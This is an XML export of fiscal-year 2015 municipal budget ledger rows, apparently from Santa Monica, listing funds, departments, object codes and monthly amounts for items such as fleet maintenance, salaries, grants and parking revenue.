<row _id="17227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533126.0</object><object_description>WATER DIV CNG STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100</total></row>
<row _id="17228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>250000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>250000</total></row>
<row _id="17229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="17230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51</total></row>
<row _id="17231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIRE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-3500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3500000</total></row>
<row _id="17234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>134741</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134741</total></row>
<row _id="17236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-19275</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19275</total></row>
<row _id="17237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-85025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85025</total></row>
<row _id="17239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>91738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>91738</total></row>
<row _id="17240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7010</total></row>
<row _id="17241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>49444</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>49444</total></row>
<row _id="17242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>170569</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>170569</total></row>
<row _id="17243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3066</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3066</total></row>
<row _id="17244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>569300.0</object><object_description>BIKE VALET-PICO LIBRARY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9739</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9739</total></row>
<row _id="17245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6400</total></row>
<row _id="17246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400843.0</object><object_description>VLF SWAP</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-9334156</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9334156</total></row>
<row _id="17248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>67301</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>67301</total></row>
<row _id="17249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579002.0</object><object_description>DISCRET-BID FUNDING INCRE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555399.0</object><object_description>13 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>410180.0</object><object_description>EMS RECORDS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100</total></row>
<row _id="17252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13723</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13723</total></row>
<row _id="17253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404870.0</object><object_description>1665 OCEAN AVE PKG LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-53000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-53000</total></row>
<row _id="17254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-234300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-234300</total></row>
<row _id="17255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402030.0</object><object_description>CAROUSEL OPERATION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-255000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-255000</total></row>
<row _id="17256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>551010.0</object><object_description>CAR WASHES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>235</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>235</total></row>
<row _id="17257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2255926</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2255926</total></row>
<row _id="17258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-26459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26459</total></row>
<row _id="17259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="17260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406804.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="17263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404041.0</object><object_description>SR2S - EDISON LANGUAGE ACADEMY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-41137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-41137</total></row>
<row _id="17264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24432</total></row>
<row _id="17265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>576514.0</object><object_description>OTS STEP GRANT 2014</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="17266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3800</total></row>
<row _id="17267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>560</total></row>
<row _id="17268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25922</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25922</total></row>
<row _id="17271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-2433175</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2433175</total></row>
<row _id="17272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563160.0</object><object_description>WISE FTA GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>64127</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64127</total></row>
<row _id="17273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405240.0</object><object_description>HOUSEHOLD HAZARDOUS WASTE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2400</total></row>
<row _id="17274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>406900.0</object><object_description>DIVCA REV FOR PEG FACILITIES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-276857</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-276857</total></row>
<row _id="17275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400308.0</object><object_description>VALET PARKING METER RENTAL</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-601000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-601000</total></row>
